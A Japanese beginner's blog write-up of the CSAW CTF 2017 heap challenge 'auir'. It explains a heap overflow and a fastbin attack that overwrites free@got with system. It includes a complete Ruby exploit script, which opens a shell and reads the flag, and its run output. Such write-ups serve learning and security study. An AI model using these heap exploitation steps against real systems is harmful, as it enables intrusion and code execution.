Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

CSAW CTF2017 auir (pwn200)

下調べ

  • x86-64でdynamically linked, strippedなバイナリ
  • CanaryとPIEが無効,Nx bitは有効

解析

  • コマンド1でサイズ入力後にそのサイズ分データを入力可能
  • コマンド2で対象のデータをfreeする
    • たしかdouble freeできる(今回は使わなかったけど)
  • コマンド3で対象のデータにたいして,サイズを入力後,そのサイズ分データを入力可能
    • ここでHOFが発生
    • ヒープのアドレスが格納された配列0x605310に対して添字でアクセスするが,範囲チェックをしていないため,かなり先まで格納できてしまう
  • コマンド4で対象のデータを表示

exploit

いつもの手順でheapとlibcのアドレスをリークする.(今書いてて気づいたけど結局ヒープベース使っていないのでいらない).

カウンタ的な変数が0x605630にあるので,ここが0x21になるようにチャンクを確保しまくる.その後,コマンド3でfreed chunkをカウンタ的な変数のところに繋がるように上書きしてあげて,2回コマンド1でチャンクを作ってfastbins unlink attackで0x605630のチャンクを返してあげて,そこのデータ領域に0x605310を書き込む.

その後コマンド3で範囲チェックの甘さを利用して遠くはなれたとこにある0x605310に対して書き換えたいアドレスを書き込む.今回はfreeのgotを利用.そしてインデックス0(0x605310の先頭)に対してコマンド3をすればfreeのgotが書き換わるのでsystem関数のアドレスを入れる.

fastbins unlink attackのために走らせたchunkのところに予めsystem関数で呼びたいコマンドを書き込んでおいて,コマンド2でfreeするときに,そのデータのインデックスを選べば,system(呼びたいコマンド)が実行される.今回なぜか/bin/shがうまく立ち上がらなかった(立ち上がっていたけどなんか入出力が死んでた)ので,今までのpwn問題から同じディレクトリにflagがあるとguessingして,/bin/cat flag\x00を実行した.

↑コマンドラッパーメソッドであるdestroyを読んだ後にinteractiveメソッドとかを読んでいたためでした.ラッパーメソッド内では正常なfree後に文字列を取得するような処理をしていますが,free呼び出し時にsystem(“/bin/sh”)が呼ばれて切り替わるため,ラッパーメソッド内の次のメニューを待ち受けする処理が永遠と終わらずシェルの操作に行かなくなってしまうというミスでした.そのためexploitも更新しました.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'
require 'fsalib'
require 'libclib'
include Shellcode

host = 'localhost'
port = 8888
libc = Libc.new('./libc-2.23.so')

if(ARGV[0] == 'r')
  host = 'pwn.chal.csaw.io'
  port = 7713
end

def make(t, size, data)
  t.sendline("1")
  t.recv_until(">>")
  t.sendline(size.to_s)
  t.recv_until(">>")
  t.send(data)
  t.recv_until(">>")
end

def destroy(t, id)
  t.sendline("2")
  t.recv_until(">>")
  t.sendline(id.to_s)
  t.recv_until("\n") # [*]BREAKING...
  t.recv_until(">>")
end

def fix(t, id, size, data)
  t.sendline("3")
  t.recv_until(">>")
  t.sendline(id.to_s)
  t.recv_until(">>")
  t.sendline(size.to_s)
  t.recv_until(">>")
  t.send(data)
  t.recv_until(">>")
end


def display(t, id)
  t.sendline("4")
  t.recv_until(">>")
  t.sendline(id.to_s)
  t.recv_until(">>")
end

PwnTube.open(host, port) do |t|

  # t.debug = true

  t.recv_until(">>")

  make(t, 0x100, "AAAAAAAA")
  make(t, 0x100, "BBBBBBBB")
  make(t, 0x100, "CCCCCCCC")
  make(t, 0x100, "DDDDDDDD")

  # leak libc & heap base from <main_arena+88>
  destroy(t, 2)
  res = display(t, 2)
  libc_base = u64(res.split("...\n")[1][0,8])[0] - 0x3c4b20 - 88
  puts "[!] libc base 0x%x" % libc_base
  
  destroy(t, 0)
  res = display(t, 0)
  heap_base = u64(res.split("...\n")[1][0,8])[0] - 0x11e30  
  puts "[!] heap base 0x%x" % heap_base

  # clean heap
  destroy(t,1)
  destroy(t,3)
  
  count_addr = 0x605630

  # I wanna make count and fake chunk size equal
  (0x21 - 4).times do |i|
    puts i
    make(t, 0x10, "dummy#{i}")
  end

  # free will be overwritten chunk
  destroy(t, 32)

  # fake chunk
  payload = "\x00" * 24
  payload << p64(0x21)
  payload << p64(count_addr-8)
  
  # Overwrite freed chunk(32) via chunk(31) heap overflow
  fix(t, 31, payload.length, payload)

  cmd = "/bin/sh\x00"
  make(t, cmd.length, cmd) # chunk(33)

  make(t, 0x10, p64(0x605310))
  
  #STDIN.gets
  # Overwrite 0x605310 to free@got
  fix(t, 0x328 / 8, 8, p64(0x605060)) # free@got

  # Overwrite free@got to system
  fix(t, 0, 8, p64(libc_base + libc.symbol('__libc_system')))

  # Delete chunk(33) then launch system("/bin/sh")
  t.sendline("2")
  t.recv_until(">>")
  t.sendline("33")
  t.recv_until("\n") # [*]BREAKING
  
  t.interactive
  
end

以下実行画面

[*] connected
[!] libc base 0x7f6f86464000
[!] heap base 0x960000
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
cat flag
flag{W4rr10rs!_A1ur_4wa1ts_y0u!_M4rch_f0rth_and_t4k3_1t!}
[*] connection closed